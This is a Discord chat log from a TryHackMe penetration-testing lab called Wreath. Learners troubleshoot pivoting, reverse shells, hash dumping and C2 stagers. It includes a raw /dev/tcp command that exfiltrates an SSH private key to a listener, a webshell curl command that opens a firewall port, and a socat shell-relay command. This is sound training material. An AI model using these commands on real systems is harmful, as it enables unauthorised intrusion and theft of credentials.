Wasn't sure if networks where completely different from normal machines. Even if I answer everything I can still access it. Right? should probably stop staying up so late...

merry robin Mar 24, 2021, 8:25 AM

#

You can, yeah 🙂
Keep in mind the "limited users at once" thing, but there's nothing wrong with having a play around with it for a bit afterwards 😄

lilac ibex Mar 24, 2021, 8:26 AM

#

@merry robin thanks also did you ever get no ports found from teh invoke-portscan command. Figured I would learn chisel in a chisel but it's slow as dirt

merry robin Mar 24, 2021, 8:27 AM

#

Huh. Nope, can't say I did. How strange.

lilac ibex Mar 24, 2021, 8:27 AM

#

returned ports with {}

native needle Mar 24, 2021, 8:28 AM

#

Guys is crackmapexec detectable by anti-virus?????

lilac ibex Mar 24, 2021, 8:28 AM

#

no clue

#

@merry robin can i send you a screen shot dm of my pain?

half ledge Mar 24, 2021, 8:30 AM

#

Does anyone else keep periodically disconnecting from the wreath network? Seems to happen to me about every 5-10 mins :/

lilac ibex Mar 24, 2021, 8:30 AM

#

@half ledge like when you check your connection and the completed part is missing every 5-10 mins sometimes lasts longer than that

merry robin Mar 24, 2021, 8:31 AM

#

lilac ibex <@!650476435269484549> can i send you a screen shot dm of my pain?

About to go for a shower, but sure

half ledge Mar 24, 2021, 8:33 AM

#

Well for some more context, I'm on the pivoting section of the room. But whenever I tried getting a shell during the exploitation section it randomly kept dropping the connection every now and then

lilac ibex Mar 24, 2021, 8:35 AM

#

@half ledge like you get a shell and 2 seconds later something breaks

half ledge Mar 24, 2021, 8:36 AM

#

Yeah sort of, it went fine for about a command or 4 and then it just freezes up the terminal as well iirc

#

After which I check the terminal running the ovpn connection where it start reconnecting, still not sure whether this is a me-problem or something with the room, i'm starting to lean towards the me-problem tho :p

lilac ibex Mar 24, 2021, 8:38 AM

#

at that point i just force ctrl-c and restart opvn real quick

#

waiting around seems like it takes longer but it drops ever now and again

#

not sure why, but it seems like Muriri is in the shower so we will never know

half ledge Mar 24, 2021, 8:41 AM

#

Just remembered, this also happens when I ssh into the public box ||(as root after getting the ssh key)||

lilac ibex Mar 24, 2021, 8:42 AM

#

other than it randomly crashing it seems like if the network doesn't sense anything even though it has time it will just turn itself off

#

can't tell if the network just ran out of time or there wasn't enough traffic to keep it going

merry robin Mar 24, 2021, 8:42 AM

#

@half ledge are you using the AttackBox?

half ledge Mar 24, 2021, 8:43 AM

#

Nope, my own kali VM, which is why I think this could as well be an issue on my end

merry robin Mar 24, 2021, 8:44 AM

#

Yeah, it sounds like a multiple VPN thing

half ledge Mar 24, 2021, 8:44 AM

#

Yeah I turned off my own (non-thm) VPN after a while as well, didn't change much sadly

merry robin Mar 24, 2021, 8:45 AM

#

I'm not really around to debug just now though I'm afraid. About to head into a meeting

half ledge Mar 24, 2021, 8:45 AM

#

Oh don't worry about it, I'm working as well, just figured I might as well get a head start on this for after work :p

digital tendon Mar 24, 2021, 8:51 AM

#

windows defender is picking up some of my obsidian files as suspicious because of the notes i took/copy pasted commands? lol

merry robin Mar 24, 2021, 9:04 AM

#

Doesn't surprise me 😆

digital tendon Mar 24, 2021, 9:45 AM

#

woohoo it is finished!

#

I'll try do a nice report and submit it as I want the practice, awesome room @Muiri I learned something new in every section, often multiple new things and I think cleared a lot of fog for me around AV Evasion and Exfiltration (impacket smbserver quite nice!)

#

thanks for putting that together

cold urchin Mar 24, 2021, 10:26 AM

#

Hello all, I am still unable to download a new configuration file?
Any help would be great
I have redone a new configuration file and it is now working!

stable dagger Mar 24, 2021, 10:56 AM

#

@normal salmon a question on task 33.

#

Kindly ping me when you're online

merry robin Mar 24, 2021, 10:56 AM

#

stable dagger <@573489783242883092> a question on task 33.

What's up?

stable dagger Mar 24, 2021, 10:57 AM

#

Can I PM @merry robin

merry robin Mar 24, 2021, 10:57 AM

#

Does it need a DM?

stable dagger Mar 24, 2021, 10:58 AM

#

I am having issues with the gitwebpage

#

Not sure what I'm doing wrongly

#

I will send screenshot

merry robin Mar 24, 2021, 10:58 AM

#

If you verify you can send it in here

#

!docs verify

thin crescentBOT Mar 24, 2021, 10:58 AM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

stable dagger Mar 24, 2021, 11:21 AM

#

@merry robin im back

#

chisel connection

merry robin Mar 24, 2021, 11:21 AM

#

Looks good

stable dagger Mar 24, 2021, 11:21 AM

#

foxy proxy

merry robin Mar 24, 2021, 11:21 AM

#

Yep

stable dagger Mar 24, 2021, 11:22 AM

#

still cant access the main git page or the reource page for auth

merry robin Mar 24, 2021, 11:23 AM

#

That's normal

#

Read the question -- what URI does it tell you to use

stable dagger Mar 24, 2021, 11:27 AM

#

/resources

merry robin Mar 24, 2021, 11:27 AM

#

That's, uh, not the right machine

#

/resources is on .100

stable dagger Mar 24, 2021, 11:32 AM

#

jeez i just got it thanks bro. so stupid of me

high totem Mar 24, 2021, 11:38 AM

#

Hi guys.... I’m doing the wreath network... ran the exploit, everything going nicely until I set up the shell, putting the IP, port, then setting up the netcat listener in another window (nc -lvnp ....) no matter what port I choose, nothing happens.... I’ve tried at least 10 different ports. I’m typing the IP that TryHackMe gave me after connecting to the VPN network... also, I’m using my own distro, not the website attack box. What am I doing wrong? Could it be my internet connection that is crappy?

lilac ibex Mar 24, 2021, 11:46 AM

#

at the end and says the NT hash is wrong...

merry robin Mar 24, 2021, 11:48 AM

#

lilac ibex at the end and says the NT hash is wrong...

DM me the hash?

merry robin Mar 24, 2021, 11:49 AM

#

high totem Hi guys.... I’m doing the wreath network... ran the exploit, everything going ni...

What OS are you using?

lilac ibex Mar 24, 2021, 11:50 AM

#

tried it with samdump2 kinda sucks

merry robin Mar 24, 2021, 11:50 AM

#

Pretty sure samdump2 is one of the ones that doesn't work on Windows 8/10

#

DM me the hash?

lilac ibex Mar 24, 2021, 11:51 AM

#

did it with impacket-script and it worked

high totem Mar 24, 2021, 11:51 AM

#

merry robin What OS are you using?

Parrot

lilac ibex Mar 24, 2021, 11:51 AM

#

samdump2 not anything after 8 got it

merry robin Mar 24, 2021, 11:51 AM

#

There's a reason I've recommended the tools I did 😄
Well done getting it now!

merry robin Mar 24, 2021, 11:52 AM

#

high totem Parrot

I have no idea if there's a firewall running on Parrot by default. What IP are you using to connect back?

lilac ibex Mar 24, 2021, 11:52 AM

#

merry robin There's a reason I've recommended the tools I did 😄 Well done getting it now!

I just like figuring out how to do it in X ways so I can compare etc

merry robin Mar 24, 2021, 11:52 AM

#

Oh, 100%

#

There are others that still work IIRC

#

Gimme a sec, I have a few in my notes

lilac ibex Mar 24, 2021, 11:52 AM

#

?

high totem Mar 24, 2021, 11:52 AM

#

The IP that TryHackMe gave me when I connected to the network VPN

#

It’s so frustrating because everything was going so well

merry robin Mar 24, 2021, 11:53 AM

#

lilac ibex ?

creddump7
That's the one that works.
It's written in Python2 so is a bit iffy, but I believe Tib3rius has a fork that's been upraded

merry robin Mar 24, 2021, 11:53 AM

#

high totem The IP that TryHackMe gave me when I connected to the network VPN

A 10.50 one, to confirm?

high totem Mar 24, 2021, 11:54 AM

#

10.4.31.....

merry robin Mar 24, 2021, 11:54 AM

#

Ah, so that's the wrong VPN. That accesses the normal THM machines, but you need a special one for networks

#

You can download that from the access page as well, under the networks tab

cold urchin Mar 24, 2021, 11:55 AM

#

Hello,
I am trying to download the key in Task 7
however the victims PC does not have nc or python installed to download from the victim onto the attackers machine?
Any advice?

merry robin Mar 24, 2021, 11:55 AM

#

Wait, how on earth did you manage to exploit it without that connected?
Do you have two of them running?

high totem Mar 24, 2021, 11:55 AM

#

But I connected with the one with my name-wreath.ovpn

merry robin Mar 24, 2021, 11:55 AM

#

That'll be a yes. Can you show me the results of ip a?

merry robin Mar 24, 2021, 11:56 AM

#

cold urchin Hello, I am trying to download the key in Task 7 however the victims PC does not...

It does have python installed, although not netcat. There are a bunch of ways you could do it (including things like a Python webserver or literally copying and pasting).
The one I would go to on Linux is this:

Set up a listener on your attacking machine:
nc -lvnp 443 > id_rsa
Then on the victim:
cat id_rsa > /dev/tcp/YOUR_VPN_IP/443

#

Raw TCP sockets ftw

#

Np

#

So, send the shell back to 10.50.107.8

#

You've got both of your VPN packs running at once, which works fine, but you need the 10.50 one for networks 🙂

high totem Mar 24, 2021, 11:58 AM

#

Thank you SO much. I’ll try that and update you in a bit

merry robin Mar 24, 2021, 11:58 AM

#

Go for it! 😄

cold urchin Mar 24, 2021, 11:59 AM

#

merry robin It does have python installed, although not netcat. There are a bunch of ways yo...

Thank you for that, I have downloaded the id_rsa onto my system,
However the file is 0 bytes, both on the victims PC and mine?

high totem Mar 24, 2021, 12:01 PM

#

it went through!!!!!! sh:cannot set terminal process group (1930) inappropriate ioctl for device sh:no job control in this shell

#

But I’ve got a prompt with sh-4.4#

#

Sorry to be such a n00b

lilac ibex Mar 24, 2021, 12:03 PM

#

done in two days @merry robin well done really enjoyed that one!!!!! ;'..;'👍

#

@high totemyou have a question?

merry robin Mar 24, 2021, 12:05 PM

#

cold urchin Thank you for that, I have downloaded the id_rsa onto my system, However the fil...

Uh, that's less good

cold urchin Mar 24, 2021, 12:05 PM

#

merry robin Uh, that's less good

What do you mean?

merry robin Mar 24, 2021, 12:05 PM

#

high totem But I’ve got a prompt with sh-4.4#

Well done!

merry robin Mar 24, 2021, 12:05 PM

#

cold urchin What do you mean?

Could you do me a favour:
Disconnect from your VPN and send me the connection pack?

#

Sounds like someone might be being a prat with the key

cold urchin Mar 24, 2021, 12:06 PM

#

merry robin Sounds like someone might be being a prat with the key

Thought that was the case
I will disconnect and send the connection pack now

cold urchin Mar 24, 2021, 12:06 PM

#

merry robin Could you do me a favour: Disconnect from your VPN and send me the connection pa...

Would you like it sent DM?

merry robin Mar 24, 2021, 12:07 PM

#

Yes please

prime hull Mar 24, 2021, 3:18 PM

#

Hey! Can anyone tell for how long this machine is gonna be free?

merry robin Mar 24, 2021, 3:20 PM

#

Forever 🙂

pallid vapor Mar 24, 2021, 3:29 PM

#

turbotax: free for free forever

prime hull Mar 24, 2021, 4:02 PM

#

merry robin Forever 🙂

Umm! Coooll! But why is it asking to have a 7 days streak for joining this room?

merry robin Mar 24, 2021, 4:04 PM

#

Cost, quite simply. It means people have to actually put some thought into it before clicking join. Every person in the room takes up a space on an instance which costs a tonne of cash to run. Having a streak requirement means that people will hopefully be discouraged from just joining and not actually using it.

fleet grove Mar 24, 2021, 5:21 PM

#

Hey @merry robin can I dm about wreath network

merry robin Mar 24, 2021, 5:22 PM

#

What's up with it? 🙂

fleet grove Mar 24, 2021, 5:22 PM

#

Someone added few files to /var/www/html dir

#

Can I remove those

#

And changed index .html too

merry robin Mar 24, 2021, 5:23 PM

#

*sigh*
Yeah, drop me a DM with some screenshots would you?

fleet grove Mar 24, 2021, 5:23 PM

#

Sure

pallid vapor Mar 24, 2021, 5:25 PM

#

woooooooo its officially released

fringe cape Mar 24, 2021, 6:10 PM

#

Hey, when I tried to Task20 / reverse shell with powershell I cannot find a way to get it
I set up a socat relay with the correct ports etc but nope
After some time I decided to ||upload an nc binary|| to the compromised linux host and try to listen here and the powershell failed once again.
Then I decided to skip this step and do the next one to get a stable shell on the 1st windows box.

But when I tried to execute the powershell reverse shell again from inside the windows host it errored out.
(This is the payload from task20)

I'm just curious why it isn't working.
Thanks for any kind of information 🙂

merry robin Mar 24, 2021, 6:12 PM

#

It's erroring out in WinRM because powershell is weird about executing powershell as a sub process. I suspect it would do better if some stuff was escaped

#

Is the firewall open on .200?

fringe cape Mar 24, 2021, 6:18 PM

#

merry robin Is the firewall open on .200?

I thought it was but I ran it again and it works
i was a bit reee
thanks for the quick help 😄

merry robin Mar 24, 2021, 6:18 PM

#

Np 😄
~~I live here just now~~

dense lotus Mar 24, 2021, 6:51 PM

#

it is not free

cyan vine Mar 24, 2021, 6:52 PM

#

What makes you think that? @dense lotus

dense lotus Mar 24, 2021, 6:53 PM

#

when I want join room "You need a 7 day streak to join this room. Subscribed users can access the room instantly!"

cyan vine Mar 24, 2021, 6:53 PM

#

Exactly:)

#

You need a 7 day streak, or premium users can join without a streak.
You obtain a streak by answering at least one question per day.

#

You can view your current streak from the top right of your page.

pallid vapor Mar 24, 2021, 6:55 PM

#

its still free, just you need a streak

#

if you sub, then you dont have to

#

but its not obligatory

hard mortar Mar 24, 2021, 6:56 PM

#

A streak being you need to be active and answer questions on the platform for at least 7 days (in the case of Wreath)

slow dew Mar 24, 2021, 7:20 PM

#

freaking loving it Muiri!

fervent obsidian Mar 24, 2021, 8:14 PM

#

merry robin Um, <@!366625742185955329>?

thats the line i fixed in 3.8.1 so hopefully the new version fixes it.

merry robin Mar 24, 2021, 8:15 PM

#

Phew. Thanks! 😄

digital tendon Mar 24, 2021, 8:18 PM

#

I may have found some slight grammar bugs, if you want me to post? not important at all

merry robin Mar 24, 2021, 8:19 PM

#

digital tendon I may have found some slight grammar bugs, if you want me to post? not important...

Please do 🙂

digital tendon Mar 24, 2021, 8:19 PM

#

(e.g. has some random code that does the grand some of nothing inserted into the exploit)

merry robin Mar 24, 2021, 8:20 PM

#

Which exploit?

#

If it's the EDB one, I didn't write it

digital tendon Mar 24, 2021, 8:20 PM

#

oh, no that was the excerpt from the room

merry robin Mar 24, 2021, 8:20 PM

#

Oh, oops

#

Ta -- where is that?

digital tendon Mar 24, 2021, 8:20 PM

#

lol its just I think "sum" not "some" in this instance

merry robin Mar 24, 2021, 8:21 PM

#

Which task / paragraph?

digital tendon Mar 24, 2021, 8:21 PM

#

just checking, i added it to my notes but didn't write where I copied it from hah

#

Task 38

#

Equally, with logic-flow analysis, the AV software is still only working with a set of rules to check malicious behaviour. If the malware acts in a way that is unexpected (e.g. has some random code that does the grand some of nothing inserted into the exploit) then it will likely pass this detection method.

merry robin Mar 24, 2021, 8:23 PM

#

Fixed 🙂

digital tendon Mar 24, 2021, 8:23 PM

#

also same Task - Fortunately (or unfortunately for us as hackers), this is usually nowhere near enough to bypass static evasion methods. - I think this was supposed to be static detection methods

#

ok cool I'll delete my comments 😄

merry robin Mar 24, 2021, 8:24 PM

#

~~Shows how much my testers read of that~~

#

Nah, all good

#

I'm fine with making mistakes

#

Fixed that too

digital tendon Mar 24, 2021, 8:25 PM

#

I think I read everything and if this is all I remember that's quite a good score

merry robin Mar 24, 2021, 8:25 PM

#

Lemme know if you see any others 🙂

#

Yeah, I'm usually pretty good with that kind of thing. Just occasionally late at night my brain goes dead 😆

digital tendon Mar 24, 2021, 8:25 PM

#

yeah no doubt

strange bison Mar 24, 2021, 8:30 PM

#

merry robin ~~Shows how much my testers read of that~~

Hey, I read it. I just self corrected it in my head.

merry robin Mar 24, 2021, 8:41 PM

#

sup3rhero1 is about to start streaming Wreath, for anyone wanting to watch 🙂
https://twitch.tv/sup3rhero1

pallid vapor Mar 24, 2021, 8:58 PM

#

cool!

fierce knoll Mar 24, 2021, 9:31 PM

#

Hi everyone, I'm at Task 29 C&C Git Server, and I'm trying to get an agent from Git Server through http_hop listener. I set up the http_hop listener, got the .php files and set up a php server in the webserver. (I also gave firewall access to its port if I didn't mess it up.) But when I try executing Empire stager's payload through the webshell in the gitserver (after url-encoding) I get powershell help page as a response. Basic commands such as "powershell whoami" are working fine. What could be the reason for this?

lyric bane Mar 24, 2021, 9:48 PM

#

How thorough does the attack narrative in the writeup have to be if I want to submit it? For example do I need to include the pivot syntax?

merry robin Mar 24, 2021, 9:50 PM

#

lyric bane How thorough does the attack narrative in the writeup have to be if I want to su...

I would if I were you, although I may not hold you to that.
As a general rule, everything should be exactly reproducible by a security engineer for the organisation you hacked

merry robin Mar 24, 2021, 9:51 PM

#

fierce knoll Hi everyone, I'm at Task 29 C&C Git Server, and I'm trying to get an agent from ...

That's usually when it's interpreting the command badly. What exactly are you doing?

rapid girder Mar 24, 2021, 9:59 PM

#

I got to the id_rsa file, it's empty; not nice 🙂

fierce knoll Mar 24, 2021, 10:00 PM

#

I created a very simple bash pseudoshell script for the webshell on the Git Server in previous tasks, I used it in the previous tasks and it worked fine. In this task, the task guide says create a http hop listener and use it to get an agent from the Git Server. Then it says to create a multi/launcher stager with this http_hop listener as its listener. I did this, and it gave me a payload "powershell (some options here) -enc (base64 encoded script here)". I took this payload to an online url encoder, and url encoded it. Then I fed it to the webshell on the Git Server through the script I mentioned. Script justs takes the user input and does "a=$userinput" as a post request to the IP address, just like in the tasks.

merry robin Mar 24, 2021, 10:00 PM

#

rapid girder I got to the id_rsa file, it's empty; not nice 🙂

Goddamnit. Not again.
Which subnet are you on?

#

Could you please disconnect from the VPN and DM me the config? I'll fix it manually 🙂

rapid girder Mar 24, 2021, 10:01 PM

#

ok thanks, but which config?

merry robin Mar 24, 2021, 10:02 PM

#

The .ovpn file you downloaded

keen wedge Mar 24, 2021, 10:06 PM

#

is the network work for you guys?

woven warren Mar 24, 2021, 10:06 PM

#

which network

merry robin Mar 24, 2021, 10:06 PM

#

keen wedge is the network work for you guys?

Yes. What's up with it?

merry robin Mar 24, 2021, 10:06 PM

#

fierce knoll I created a very simple bash pseudoshell script for the webshell on the Git Serv...

That sounds good

#

Could you try doing it with cURL manually, just to be sure?

keen wedge Mar 24, 2021, 10:07 PM

#

merry robin Yes. What's up with it?

oh my bad was a problem from my end , sry ty

merry robin Mar 24, 2021, 10:08 PM

#

Np 🙂

fierce knoll Mar 24, 2021, 10:31 PM

#

merry robin Could you try doing it with cURL manually, just to be sure?

Oh, it worked! Looks like there was something wrong with taking user input as a variable then sending that. Perhaps Bash can't handle input that is too long? Thanks a lot :)

glacial monolith Mar 25, 2021, 12:32 AM

#

Am I supposed to setup the socat relay on .150 or .200 with my attacking device or with .150 and .200

#

for task 20

#

We could set up a relay on .200 to forward a shell back to a listener

#

so does this relay go to my device or .200

#

also was I suppoed to open the firewall on .200 or on .150 using the web shell

#

I used the web shell

merry robin Mar 25, 2021, 12:35 AM

#

Well, think about it -- where is the shell coming from, and where do you want it to go?

glacial monolith Mar 25, 2021, 12:35 AM

#

I want it on .200 but I'm not sure where to send it from. My device or the compromised one

merry robin Mar 25, 2021, 12:36 AM

#

As in, what do you want a shell from?

#

.150, right?

glacial monolith Mar 25, 2021, 12:36 AM

#

I thought the socat was so that I could do it from my device

merry robin Mar 25, 2021, 12:37 AM

#

Kinda

glacial monolith Mar 25, 2021, 12:37 AM

#

but idk how to get the socat onto there, I transferred it to the compromised device but dont know how to move it to .150

merry robin Mar 25, 2021, 12:37 AM

#

So, you want a shell from .150, and you want to receive it on your attacking machine, yeah?

glacial monolith Mar 25, 2021, 12:37 AM

#

yeah

merry robin Mar 25, 2021, 12:38 AM

#

Ok. Can .150 connect to your attacking machine directly?

glacial monolith Mar 25, 2021, 12:38 AM

#

I tried pinging it and it doesnt ping back, so I'm trying to setup the relay

merry robin Mar 25, 2021, 12:38 AM

#

So, can it connect back directly?

glacial monolith Mar 25, 2021, 12:38 AM

#

no

merry robin Mar 25, 2021, 12:38 AM

#

Ok, so, what's in the middle?

glacial monolith Mar 25, 2021, 12:39 AM

#

.200, I'm unsure how to get it from there to the target though

merry robin Mar 25, 2021, 12:39 AM

#

Yep, 200

#

So, use socat (and the firewall) on .200

#

Then send a shell from .150

#

Have you watched Dark's video for the task?

#

I think it might be clearer if you see it working?

glacial monolith Mar 25, 2021, 12:40 AM

#

so I wasn't supposed to do this to disable the firewall from my attacking device? || curl -X POST http://10.200.72.150/web/exploit-USERNAME.php -d "a=firewall-cmd --zone=public --add-port 17894/tcp" ||

#

I'll have to find the video, didn't know there was one for this task

#

that makes sense though for the socat relay

merry robin Mar 25, 2021, 12:41 AM

#

Nah -- firewall-cmd is for administrating redhat servers (including CentOS)

#

You see the little video icon at the bottom right of the screen?

glacial monolith Mar 25, 2021, 12:41 AM

#

was missing that icon, I'll check it out. Thank you

merry robin Mar 25, 2021, 12:42 AM

#

Np!

#

Let me know if you need any more help with it 🙂

glacial monolith Mar 25, 2021, 1:27 AM

#

rip darks video uses netcat static and not socat haha

#

I'll try to figure it out for a bit

merry robin Mar 25, 2021, 1:28 AM

#

Oh Goddamnit Dark

digital tendon Mar 25, 2021, 1:32 AM

#

I think when I followed the instructions - from my notes you get a reverse shell up before you set up the socat relay/add firewall rules

#

so you shouldn't need to xpost firewall rule through the php shell

merry robin Mar 25, 2021, 1:33 AM

#

Nah, you need the firewall first in order to get the reverse shell through the relay, but you definitely don't need to administrate the Windows firewall through the PHP webshell

digital tendon Mar 25, 2021, 1:36 AM

#

oh right thats where I was getting confused

glacial monolith Mar 25, 2021, 1:40 AM

#

so would I do something like this from .200 ||./socat-Ferrari404 tcp-l:PORT tcp:10.200.72.150:PORT||

#

or do I need to specify my tun0 somewhere

merry robin Mar 25, 2021, 1:40 AM

#

Not quite

silk shoal Mar 25, 2021, 1:40 AM

#

Havin' some issues with ||WebminRCE||

merry robin Mar 25, 2021, 1:41 AM

#

You would specify the tun0 in the second bit

glacial monolith Mar 25, 2021, 1:41 AM

#

Should those 2 ports be the one I opened the firewall on?

merry robin Mar 25, 2021, 1:41 AM

#

So more like this:
||./socat-Ferrari404 tcp-l:PORT tcp:TUN0:PORT||

#

The first Port should be the one you opened on the firewall

#

The other one doesn't matter, as long as it matches up with what you're listener is using on your localhost

merry robin Mar 25, 2021, 1:41 AM

#

silk shoal Havin' some issues with ||WebminRCE||

Kris, if you are doing this on a steam controller, I am not helping

glacial monolith Mar 25, 2021, 1:42 AM

#

lol

silk shoal Mar 25, 2021, 1:46 AM

#

merry robin Kris, if you are doing this on a steam controller, I am not helping

you know you love it